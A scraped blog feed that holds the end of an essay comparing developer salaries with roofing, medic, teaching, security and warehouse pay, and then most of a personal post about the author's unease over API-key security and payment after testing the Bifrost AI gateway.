&lt;p&gt;That does not mean the market is morally correct. It means the market rewards leverage more than responsibility.&lt;/p&gt;




&lt;h2&gt;
  
  
  Warehouse And Manual Labor Compared To Software Development &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Warehouse work is another comparison that matters because a lot of people in tech have never had to do repetitive physical work for a paycheck. BLS lists hand laborers and material movers at a median annual wage of &lt;strong&gt;$37,680&lt;/strong&gt;, which shows how low that work often pays compared to software.&lt;/p&gt;

&lt;p&gt;Warehouse work can look simple if you only describe it as “moving boxes.” Software can also look simple if you only describe it as “typing code,” which is why bad descriptions are useless.&lt;/p&gt;

&lt;p&gt;Warehouse work requires speed, accuracy, memory, scanning, staging, loading, safety, endurance, and not making mistakes that slow down everyone behind you. A bad pick, bad label, bad count, bad pallet, or bad load can create real downstream problems.&lt;/p&gt;

&lt;p&gt;Software has the same kind of flow problem, just in a different form. A bad data migration, wrong config, bad deploy, missed environment variable, or broken API contract can hold up the whole team or create customer issues.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Warehouse Work&lt;/th&gt;
&lt;th&gt;Software Equivalent&lt;/th&gt;
&lt;th&gt;Why The Comparison Makes Sense&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pick the right item&lt;/td&gt;
&lt;td&gt;Pull the right data or dependency&lt;/td&gt;
&lt;td&gt;Both jobs fail when the wrong thing moves through the system.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Label and scan correctly&lt;/td&gt;
&lt;td&gt;Name, type, and log data correctly&lt;/td&gt;
&lt;td&gt;Both jobs need traceability.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stage items in the right place&lt;/td&gt;
&lt;td&gt;Prepare code, branches, builds, and environments correctly&lt;/td&gt;
&lt;td&gt;Both jobs depend on sequence and organization.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Load without damaging product&lt;/td&gt;
&lt;td&gt;Deploy without damaging production&lt;/td&gt;
&lt;td&gt;Both jobs involve moving work safely from one state to another.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Keep pace without losing accuracy&lt;/td&gt;
&lt;td&gt;Ship quickly without breaking quality&lt;/td&gt;
&lt;td&gt;Both jobs punish sloppy speed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Follow safety and workflow rules&lt;/td&gt;
&lt;td&gt;Follow code review, testing, and deployment rules&lt;/td&gt;
&lt;td&gt;Both jobs use process to reduce mistakes.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The difference is not that software is always harder. The difference is that software work can automate the warehouse workflow itself, reduce headcount, improve routing, change inventory systems, or improve company-wide efficiency.&lt;/p&gt;

&lt;p&gt;That is why a developer who has never done warehouse work might make more than the warehouse worker. It is not because the developer is automatically tougher, it is because the developer may be building the system that changes how 500 warehouse workers operate.&lt;/p&gt;




&lt;h2&gt;
  
  
  Teaching Compared To Software Development &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Teaching is one of the clearest examples of how pay does not equal social value. BLS lists high school teachers at a median annual wage of &lt;strong&gt;$64,580&lt;/strong&gt;, which is above the national median but still far below software developer pay and below many junior tech offers.&lt;/p&gt;

&lt;p&gt;A good teacher has to understand the subject, manage a room, communicate clearly, adjust to different students, track progress, deal with parents and administrators, follow standards, grade work, and keep showing up even when the system is not built to make the job easy.&lt;/p&gt;

&lt;p&gt;That sounds a lot like developer mentorship in some ways. A senior developer who cannot explain anything clearly is less useful than a senior developer who can teach patterns, review code well, write docs, and help juniors become productive.&lt;/p&gt;

&lt;p&gt;The difference is that teaching usually sits inside public budgets, district funding, local taxes, political fights, and credential systems. Software sits inside companies that can sell products repeatedly and use technical work to increase margins.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Teaching Work&lt;/th&gt;
&lt;th&gt;Software Equivalent&lt;/th&gt;
&lt;th&gt;Why The Comparison Makes Sense&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Break down hard concepts&lt;/td&gt;
&lt;td&gt;Explain systems, code, and architecture&lt;/td&gt;
&lt;td&gt;Both jobs require turning complexity into something another person can use.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Manage different skill levels&lt;/td&gt;
&lt;td&gt;Mentor juniors and collaborate across teams&lt;/td&gt;
&lt;td&gt;Both jobs involve uneven experience levels.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grade and give feedback&lt;/td&gt;
&lt;td&gt;Review code and give actionable comments&lt;/td&gt;
&lt;td&gt;Both jobs need feedback that improves the person, not just the output.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Follow curriculum and standards&lt;/td&gt;
&lt;td&gt;Follow product requirements, security standards, and engineering process&lt;/td&gt;
&lt;td&gt;Both jobs work inside constraints.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Track progress over time&lt;/td&gt;
&lt;td&gt;Track technical debt, sprint work, and developer growth&lt;/td&gt;
&lt;td&gt;Both jobs require long-term attention.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Handle classroom pressure&lt;/td&gt;
&lt;td&gt;Handle meetings, incidents, and team pressure&lt;/td&gt;
&lt;td&gt;Both jobs require communication when things get messy.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This is why the “developers are paid because they are smarter” argument falls apart. Teachers need skill, judgment, patience, communication, and subject knowledge, but their labor does not scale the same way software does.&lt;/p&gt;

&lt;p&gt;A teacher teaches the students in front of them. A developer builds a feature once and the company can put it in front of every customer.&lt;/p&gt;




&lt;h2&gt;
  
  
  Do Most Developers Even Do DSA? &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Most developers do not spend their normal workday implementing red-black trees, writing graph algorithms from scratch, or solving LeetCode-style dynamic programming problems. Most business software work is much more ordinary than the interview process makes it look.&lt;/p&gt;

&lt;p&gt;That does not mean data structures and algorithms are useless. It means there is a difference between the theory that helps you think and the daily work most developers are paid to do.&lt;/p&gt;

&lt;p&gt;Most web developers spend more time reading existing code, changing components, writing endpoints, shaping data, handling errors, fixing tests, wiring third-party services, working with databases, and pushing changes through a deployment process. That work still uses data structures, but usually in the form of arrays, objects, maps, JSON, query results, collections, queues, and state.&lt;/p&gt;

&lt;p&gt;A roofer does not calculate structural engineering formulas all day either. That does not mean roofing has no skill. It means the job is mostly applied field knowledge, judgment, tool use, sequence, safety, and knowing what failure looks like before it happens.&lt;/p&gt;

&lt;p&gt;A medic does not write a medical textbook during every patient interaction either. They apply training, assess the current situation, follow protocol, make decisions, communicate, and act before the situation gets worse.&lt;/p&gt;

&lt;p&gt;A security guard is not doing legal theory all night either. They follow post orders, watch patterns, control access, de-escalate, document, and call the right people when something crosses the line.&lt;/p&gt;

&lt;p&gt;Software is similar for most developers. The job is less “solve a puzzle from scratch” and more “change a living system without making it worse.”&lt;/p&gt;

&lt;p&gt;The reason DSA still matters is that some jobs really do need it. Search, ranking, distributed systems, graphics, compilers, databases, high-frequency trading, AI infrastructure, embedded systems, and large-scale platform work can absolutely require deeper computer science.&lt;/p&gt;

&lt;p&gt;The problem is that the hiring process often treats every web developer like they are applying to build a search engine. That creates a fake picture of the job, because plenty of developers make solid money doing CRUD, integrations, infrastructure, UI, testing, debugging, and maintenance.&lt;/p&gt;

&lt;p&gt;This is part of why salary conversations get weird. A person outside tech hears that developers make six figures and assumes they must be doing advanced math all day. A person inside tech knows plenty of developers are mostly moving data from one place to another, validating it, displaying it, storing it, and making sure it does not break.&lt;/p&gt;

&lt;p&gt;That work still matters, but it is not always the mythical version of software engineering people imagine. Most companies pay for working systems, not for how many algorithm problems someone can solve on a whiteboard.&lt;/p&gt;




&lt;h2&gt;
  
  
  Is Web Development Skilled Trade Work With A Keyboard? &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;A lot of normal software work is closer to skilled trade work than developers want to admit. Most business developers are not doing advanced algorithm research, because they are building, fixing, connecting, deploying, documenting, and maintaining systems.&lt;/p&gt;

&lt;p&gt;That does not make the job fake or easy. Roofing is also “just putting materials on a roof” if someone wants to describe it badly, but anyone who has done it knows that a bad roof can look fine for a little while before the leak exposes every shortcut.&lt;/p&gt;

&lt;p&gt;Software is the same way. Bad code can look fine in the demo, pass the happy path, and still fail when users hit weird inputs, network errors, bad permissions, slow queries, expired sessions, broken environment variables, or real production load.&lt;/p&gt;

&lt;p&gt;This is where the trade comparison gets useful. A lot of web development is not elite math, but it is still skilled production work where experience matters because the edge cases are what punish you.&lt;/p&gt;

&lt;p&gt;The same pattern shows up across roofing, medic work, security, warehouse work, teaching, and software. The public sees the visible output, but the worker knows the job is mostly about preventing the failure that nobody notices if you did it right.&lt;/p&gt;

&lt;p&gt;In roofing, a customer might only see shingles. In software, a product manager might only see a button. The worker sees the layers under it, the ways it can fail, the shortcuts that were taken before, and the cleanup nobody budgeted time for.&lt;/p&gt;

&lt;p&gt;That is why I think “easy job” is the wrong phrase. Some development work is physically easy, and some tickets are technically simple, but the job becomes valuable because the work lives inside a larger system with users, data, revenue, and future maintenance attached to it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Are Junior Developers Overpaid? &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Compared to roofers, EMTs, teachers, security guards, warehouse workers, construction laborers, and the national median worker, junior developers are usually overpaid in the plain social comparison sense. A junior developer making $90k to $120k while still learning the job is making more than many people who carry more physical risk, more public responsibility, or more immediate consequences.&lt;/p&gt;

&lt;p&gt;Compared to the business model they work inside, juniors are not always overpaid. A junior who can ship small production improvements, automate annoying internal work, fix customer-facing bugs, improve documentation, and grow into a mid-level developer is not just being paid for today’s output.&lt;/p&gt;

&lt;p&gt;The company is paying for the pipeline. Hiring a junior is partly a bet that the person will become useful enough to retain, promote, or use as a cheaper alternative to hiring only seniors.&lt;/p&gt;

&lt;p&gt;This is also why junior hiring gets ugly when the market tightens. If companies stop wanting to invest in training, juniors suddenly look expensive because they need mentorship before they become reliably productive.&lt;/p&gt;

&lt;p&gt;That is where the “easy job” complaint has some truth but not the whole truth. A lot of junior tickets are easy compared to roofing, medic work, or private security, but the junior is still learning how to work inside a system where small changes can create bigger problems.&lt;/p&gt;

&lt;p&gt;So yes, juniors can be overpaid if the company expects them to be productive immediately and they are mostly being carried. But juniors can be underpaid if they are doing real production work, learning fast, getting little support, and still being treated like replaceable cheap labor.&lt;/p&gt;

&lt;p&gt;The more honest answer is that junior pay is not about whether the current ticket is easy. It is about whether the company believes the person can become valuable before the cost of training them becomes a loss.&lt;/p&gt;




&lt;h2&gt;
  
  
  Are Mid-Level Developers Fairly Paid? &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Mid-level developers are probably the closest thing to fairly paid in normal software work. They usually know enough to ship, debug, communicate, review code, understand production basics, and ask for help before they create a disaster.&lt;/p&gt;

&lt;p&gt;They are not usually responsible for company-wide technical direction. They also are not usually helpless, which makes them valuable without making them as expensive as staff or principal engineers.&lt;/p&gt;

&lt;p&gt;This level is where software starts looking most like skilled trade work. A solid mid-level developer knows the tools, knows the common failure points, knows how to estimate better than a junior, and knows when a “small change” is not actually small.&lt;/p&gt;

&lt;p&gt;A solid roofer with a few years in the field is the same kind of person. They may not own the company or design the whole job, but they can look at a roof, understand the next steps, avoid obvious mistakes, and keep the job moving.&lt;/p&gt;

&lt;p&gt;A solid medic is also that kind of person. They may not be the doctor, but they know how to assess the situation, act within scope, document, communicate, and keep the patient moving through the system.&lt;/p&gt;

&lt;p&gt;A reliable security worker fits the same pattern too. They may not be writing policy, but they know the post, notice what is off, document what happened, and understand when a situation needs to move up the chain.&lt;/p&gt;

&lt;p&gt;That is why mid-level dev compensation makes the most sense to me. They are expensive, but they are usually expensive in the same way any reliable skilled worker is expensive, with the added difference that software output can scale.&lt;/p&gt;




&lt;h2&gt;
  
  
  Are Staff Engineers Overpaid? &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Staff engineers are where the conversation becomes almost impossible because the numbers get absurd. A Google L6 staff engineer around $580k, a Meta E6 staff engineer around $775k, and Netflix senior staff compensation near or above $1M sounds fake if you compare it to normal jobs.&lt;/p&gt;

&lt;p&gt;But staff engineers at companies like that are not being paid to close Jira tickets. They are paid to reduce risk, set technical direction, unblock teams, review architecture, avoid expensive mistakes, and make decisions that affect systems with huge numbers of users.&lt;/p&gt;

&lt;p&gt;That is why revenue per employee matters. NVIDIA reportedly generated around $4.4 million in revenue per employee, and Netflix was reported around $4.15 million per employee, which changes how a $700k engineer looks on a spreadsheet.&lt;/p&gt;

&lt;p&gt;That does not mean every staff engineer deserves $700k. Some people have inflated titles, some companies hand out titles loosely, and some senior people become expensive bottlenecks instead of force multipliers.&lt;/p&gt;

&lt;p&gt;But a real staff engineer at scale is not just a better coder. They are closer to a technical foreman, architect, incident preventer, reviewer, teacher, and risk manager combined.&lt;/p&gt;

&lt;p&gt;That kind of work can be underpaid if it prevents huge losses. It can also be overpaid if the person mostly attends meetings, writes vague docs, and creates no real technical leverage.&lt;/p&gt;

&lt;p&gt;The title alone does not answer the question. The value depends on the actual scope, the systems involved, and whether the person makes many other engineers and systems better.&lt;/p&gt;

&lt;p&gt;This is the part that normal salary comparisons miss. A staff engineer at a small company and a staff engineer at a global platform can have the same title, but one might be improving internal tooling for 80 employees while the other is making architecture decisions that affect millions of users.&lt;/p&gt;

&lt;p&gt;That is why staff pay looks fake from the outside. Sometimes it is inflated, sometimes it is justified, and sometimes it is still cheaper than the damage the wrong technical decision would cause.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where AI Changes The Pay Conversation &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;AI makes this debate even harder because it lowers the floor and raises the ceiling at the same time. A junior with AI tools can ship more than a junior could a few years ago, but a weak junior can also create a bigger mess faster than before.&lt;/p&gt;

&lt;p&gt;The boring tasks are becoming cheaper. Boilerplate, simple components, basic scripts, basic CRUD, documentation drafts, test scaffolds, and quick debugging help are all easier with tools like ChatGPT, Claude, Cursor, and Copilot.&lt;/p&gt;

&lt;p&gt;That means companies may eventually pay less for people who only know how to produce basic code. The value is moving toward people who can understand the system, verify AI output, debug bad suggestions, protect production, think through risk, and connect technical work to business goals.&lt;/p&gt;

&lt;p&gt;This is where staff engineers and strong mid-level developers may become even more valuable. If a company has ten juniors using AI and nobody experienced reviewing the architecture, the company did not get faster, it just created problems at higher speed.&lt;/p&gt;

&lt;p&gt;AI does not remove the need for judgment. It makes judgment more important because the cost of producing code went down, but the cost of understanding whether that code is correct did not disappear.&lt;/p&gt;

&lt;p&gt;This is also why junior dev pay is going to be a rough topic for a while. If a junior can use AI to ship useful work and they can explain what they are doing, their value goes up. If they use AI to produce code they cannot understand, their risk goes up.&lt;/p&gt;

&lt;p&gt;The same thing happened in other work when tools improved. Better nail guns did not remove the need for someone who understands roofing. Better medical equipment did not remove the need for someone who can assess the patient. Better cameras did not remove the need for security judgment.&lt;/p&gt;

&lt;p&gt;Better coding tools will not remove the need for developers who understand systems. They will probably remove some tolerance for people who only copy output and hope it works.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Three Different Developer Economies &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;The software industry is not one labor market anymore. It is at least three different economies pretending to be one because all the job titles use the word developer or engineer.&lt;/p&gt;

&lt;p&gt;The first economy is normal software work. These are the developers at small companies, local businesses, agencies, internal IT teams, healthcare companies, manufacturing companies, insurance companies, and non-tech companies where software supports the business instead of being the whole business.&lt;/p&gt;

&lt;p&gt;The second economy is high-scale tech. These are developers at Big Tech, AI labs, high-frequency trading firms, cloud infrastructure companies, fintech platforms, and product companies where one technical decision can affect millions of users or billions of dollars in market value.&lt;/p&gt;

&lt;p&gt;The third economy is underpaid software work. These are developers maintaining legacy systems, handling frontend, backend, support, infrastructure, deployments, and documentation while making $60k, $80k, or maybe $100k with little mentorship and no real path upward.&lt;/p&gt;

&lt;p&gt;This is why the argument goes nowhere. Someone talking about a junior web developer at a small local company and someone talking about an L6 engineer at Google are not talking about the same job.&lt;/p&gt;

&lt;p&gt;Both people can be telling the truth. They are just describing different worlds.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Developer Economy&lt;/th&gt;
&lt;th&gt;Typical Work&lt;/th&gt;
&lt;th&gt;Typical Pay Reality&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Normal software work&lt;/td&gt;
&lt;td&gt;CRUD, internal tools, websites, APIs, integrations, support, maintenance&lt;/td&gt;
&lt;td&gt;Often $70k to $180k depending on region and company.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;High-scale tech&lt;/td&gt;
&lt;td&gt;Infrastructure, platforms, AI, distributed systems, revenue-critical products&lt;/td&gt;
&lt;td&gt;Can reach $300k to $1M+ because the leverage is massive.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Underpaid software work&lt;/td&gt;
&lt;td&gt;Legacy maintenance, too many hats, little support, low-budget companies&lt;/td&gt;
&lt;td&gt;Can pay closer to $50k to $100k while still demanding broad responsibility.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This split explains why developers argue past each other. One person is talking about people making $500k and another person is talking about someone doing full-stack work for $70k at a non-tech company.&lt;/p&gt;

&lt;p&gt;The title alone does not tell you enough. You need to know the company, the market, the revenue model, the level, the scope, the risk, and whether the person is actually creating leverage or just carrying a fancy title.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Honest Answer &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Developers are overpaid if the comparison is physical danger, social value, or visible effort. A junior developer working from home can make more than a roofer, medic, teacher, security guard, warehouse worker, or construction laborer, and I do not think developers should pretend that feels normal.&lt;/p&gt;

&lt;p&gt;Developers are not always overpaid if the comparison is business leverage. A developer who ships a feature used by thousands of customers, prevents outages, improves performance, secures customer data, or automates expensive work can easily create more value than their salary.&lt;/p&gt;

&lt;p&gt;Most normal developers are not doing elite computer science all day. They are doing applied software trade work, which means building, fixing, connecting, testing, deploying, documenting, and maintaining systems that break in weird ways.&lt;/p&gt;

&lt;p&gt;That work is not magic. It is not always harder than roofing, medic work, construction, warehouse work, teaching, or security work, but it exists inside a business model where output can scale.&lt;/p&gt;

&lt;p&gt;The cleanest answer is this: junior devs can be socially overpaid and economically reasonable at the same time, mid-level devs are often the most fairly paid group, and real staff engineers at scale can look wildly overpaid while still being underpaid compared to the money and risk they manage.&lt;/p&gt;

&lt;p&gt;The thing I do not buy anymore is the idea that pay equals difficulty. Pay equals leverage, scarcity, company margins, negotiation power, and how close your work is to money.&lt;/p&gt;

&lt;p&gt;That is why the junior dev making a React form can out-earn a roofer, medic, guard, teacher, or warehouse worker. It is not because the junior dev is tougher, and it is not because the other jobs are easy. It is because the software company can scale the result in a way most physical or public-service work cannot.&lt;/p&gt;

&lt;p&gt;That does not make the market morally correct. It just explains why the numbers look broken.&lt;/p&gt;




&lt;h2&gt;
  
  
  Sources &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.bls.gov/ooh/computer-and-information-technology/software-developers.htm" rel="noopener noreferrer"&gt;BLS, Software Developers, Quality Assurance Analysts, and Testers&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.bls.gov/ooh/construction-and-extraction/roofers.htm" rel="noopener noreferrer"&gt;BLS, Roofers&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.bls.gov/ooh/healthcare/emts-and-paramedics.htm" rel="noopener noreferrer"&gt;BLS, EMTs and Paramedics&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.bls.gov/ooh/protective-service/security-guards.htm" rel="noopener noreferrer"&gt;BLS, Security Guards and Gambling Surveillance Officers&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.bls.gov/ooh/education-training-and-library/high-school-teachers.htm" rel="noopener noreferrer"&gt;BLS, High School Teachers&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.bls.gov/ooh/construction-and-extraction/construction-laborers-and-helpers.htm" rel="noopener noreferrer"&gt;BLS, Construction Laborers and Helpers&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.bls.gov/ooh/transportation-and-material-moving/hand-laborers-and-material-movers.htm" rel="noopener noreferrer"&gt;BLS, Hand Laborers and Material Movers&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.bls.gov/charts/census-of-fatal-occupational-injuries/rate-and-number-of-fatal-work-injuries-in-selected-occupations.htm" rel="noopener noreferrer"&gt;BLS, Fatal Work Injury Rates, 2024&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.goarmy.com/careers-and-jobs/science-medicine/intensive-care/68w-combat-medic-specialist" rel="noopener noreferrer"&gt;U.S. Army, 68W Combat Medic Specialist&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.cool.osd.mil/army/moc/index.html?moc=68w" rel="noopener noreferrer"&gt;Army COOL, 68W Combat Medic Specialist MOS Overview&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.dfas.mil/MilitaryMembers/payentitlements/Pay-Tables/" rel="noopener noreferrer"&gt;DFAS, Military Pay Tables&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.levels.fyi/t/software-engineer" rel="noopener noreferrer"&gt;Levels.fyi, Software Engineer Salary&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://builtin.com/salaries/us/junior-software-engineer" rel="noopener noreferrer"&gt;BuiltIn, Junior Software Engineer Salary in US&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.adpresearch.com/research/the-rise-and-fall-of-the-software-developer" rel="noopener noreferrer"&gt;ADP Research, The Rise and Fall of the Software Developer&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.library.hbs.edu/working-knowledge/remote-work-or-more-pay-what-tech-workers-value-in-one-chart" rel="noopener noreferrer"&gt;Harvard Business School, Remote Work or More Pay&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.ondeck.com/resources/revenue-per-employee" rel="noopener noreferrer"&gt;OnDeck, Revenue Per Employee Rankings&lt;/a&gt;&lt;/p&gt;

</description>
      <category>career</category>
      <category>careerdevelopment</category>
      <category>ai</category>
      <category>development</category>
    </item>
    <item>
      <title>Why I’m Cautious About AI Gateways After My Bifrost Collaboration</title>
      <dc:creator>Bradley Matera</dc:creator>
      <pubDate>Wed, 29 Apr 2026 22:41:14 +0000</pubDate>
      <link>https://forem.com/bradleymatera/why-im-cautious-about-ai-gateways-after-my-bifrost-collaboration-18pj</link>
      <guid>https://forem.com/bradleymatera/why-im-cautious-about-ai-gateways-after-my-bifrost-collaboration-18pj</guid>
      <description>&lt;h2&gt;
  
  
  My personal experience testing Maxim AI’s Bifrost gateway left me uneasy. Here’s what happened, what I learned, and why I’m putting security first in future projects.
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This is my personal experience and my opinion based on what happened. I am not saying every AI gateway is bad, and I am not saying every team using Bifrost is doing something wrong. I am explaining why I personally do not trust this setup right now, especially as an independent developer testing tools with real API keys.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  How I got here
&lt;/h2&gt;

&lt;p&gt;I was contacted about writing a paid technical article on Bifrost, Maxim AI’s open-source AI gateway.&lt;/p&gt;

&lt;p&gt;The topic was interesting enough. Bifrost is built to sit between your application, coding agents, MCP tools, and model providers. Instead of calling OpenAI, Anthropic, Ollama, Gemini, or other providers directly from every tool, Bifrost gives you one gateway layer to route requests through.&lt;/p&gt;

&lt;p&gt;That sounds useful on paper.&lt;/p&gt;

&lt;p&gt;The agreement was simple: write one article, test the tool, send the draft, and get paid.&lt;/p&gt;

&lt;p&gt;I did the work.&lt;/p&gt;

&lt;p&gt;I installed the gateway. I tested the CLI. I configured provider routing. I worked through local/Ollama routing. I connected an MCP server. I enabled Code Mode. I wrote the draft and sent the invoice.&lt;/p&gt;

&lt;p&gt;Then after the work was done, I was told the collaboration was being paused because of a high-priority internal issue.&lt;/p&gt;

&lt;p&gt;That is where my trust problem started.&lt;/p&gt;

&lt;p&gt;Not because one company had an internal issue. That happens.&lt;/p&gt;

&lt;p&gt;The problem is that the work was already done, the testing had already happened, and the whole product model had already required me to put real provider access into the middle of a gateway I was testing for them.&lt;/p&gt;

&lt;p&gt;That made me step back and look at the entire setup differently.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part that made me uncomfortable
&lt;/h2&gt;

&lt;p&gt;Bifrost is a gateway.&lt;/p&gt;

&lt;p&gt;That means it is not just another little dev tool that formats output or changes a prompt.&lt;/p&gt;

&lt;p&gt;It sits in the middle of traffic.&lt;/p&gt;

&lt;p&gt;A basic layout looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Coding Agent / App
        ↓
     Bifrost
        ↓
OpenAI / Anthropic / Ollama / other providers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Once you add MCP, it can become more like this:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Coding Agent
     ↓
Bifrost Gateway
     ↓
Provider keys
MCP tools
Routing
Logs
Model selection
Usage tracking
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That is powerful.&lt;/p&gt;

&lt;p&gt;It is also the exact kind of place where trust matters.&lt;/p&gt;

&lt;p&gt;If a tool sits between me and my model providers, I need to know where my keys are stored, what gets logged, what can see my prompts, what can see my project context, and what happens when I stop using the tool.&lt;/p&gt;

&lt;p&gt;The Bifrost docs and security notes talk about key management, virtual keys, access profiles, and restricting the admin interface. That is good. I would rather see a security file than nothing.&lt;/p&gt;

&lt;p&gt;But the fact remains: the tool is designed to be the control plane for model access.&lt;/p&gt;

&lt;p&gt;That means the security bar should be high.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why this matters more for solo developers
&lt;/h2&gt;

&lt;p&gt;A company with a security team can evaluate this properly.&lt;/p&gt;

&lt;p&gt;They can isolate the gateway, deploy it inside their own network, use secrets management, scope access, review logs, and create policies around it.&lt;/p&gt;

&lt;p&gt;A solo developer usually does not have that.&lt;/p&gt;

&lt;p&gt;A solo developer is more likely to:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;run npx
open localhost
paste in a provider key
test the dashboard
connect a coding agent
forget to rotate the key
move on
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That is exactly why I am cautious.&lt;/p&gt;

&lt;p&gt;I am not saying Bifrost steals keys.&lt;/p&gt;

&lt;p&gt;I am saying that a gateway that asks developers to route real provider access through it needs to be treated like sensitive infrastructure, not like a random productivity plugin.&lt;/p&gt;

&lt;p&gt;There is a big difference between installing a local formatting tool and installing something that becomes the middle layer between your agents and your API keys.&lt;/p&gt;
&lt;h2&gt;
  
  
  My issue is not only technical
&lt;/h2&gt;

&lt;p&gt;The payment situation made the technical concern worse.&lt;/p&gt;

&lt;p&gt;If a company asks an independent developer to test a tool, write about it, provide feedback, and then pauses after the work is complete, that affects trust.&lt;/p&gt;

&lt;p&gt;It makes me question the whole interaction.&lt;/p&gt;

&lt;p&gt;I am not a large publication. I am not an agency. I am one developer testing something and writing about what happened.&lt;/p&gt;

&lt;p&gt;So when the work is done and the payment suddenly becomes unclear, I start asking harder questions:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Was this about the article?
Was this about real testing?
Was this about getting an independent developer to run the tool?
Was this about feedback?
Was this about traffic and visibility?
Was this about access to a real dev setup?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Those questions might be uncomfortable, but they are fair questions from my side.&lt;/p&gt;
&lt;h2&gt;
  
  
  What I verified
&lt;/h2&gt;

&lt;p&gt;I verified that Bifrost is a real project.&lt;/p&gt;

&lt;p&gt;It has a public GitHub repo. It has real activity. It has docs. It has security notes. It has a gateway setup flow. It has CLI tooling. It has MCP and Code Mode documentation.&lt;/p&gt;

&lt;p&gt;That matters.&lt;/p&gt;

&lt;p&gt;I am not trying to pretend it is some fake website with no code behind it.&lt;/p&gt;

&lt;p&gt;But a project being real does not automatically mean I trust the workflow around it.&lt;/p&gt;

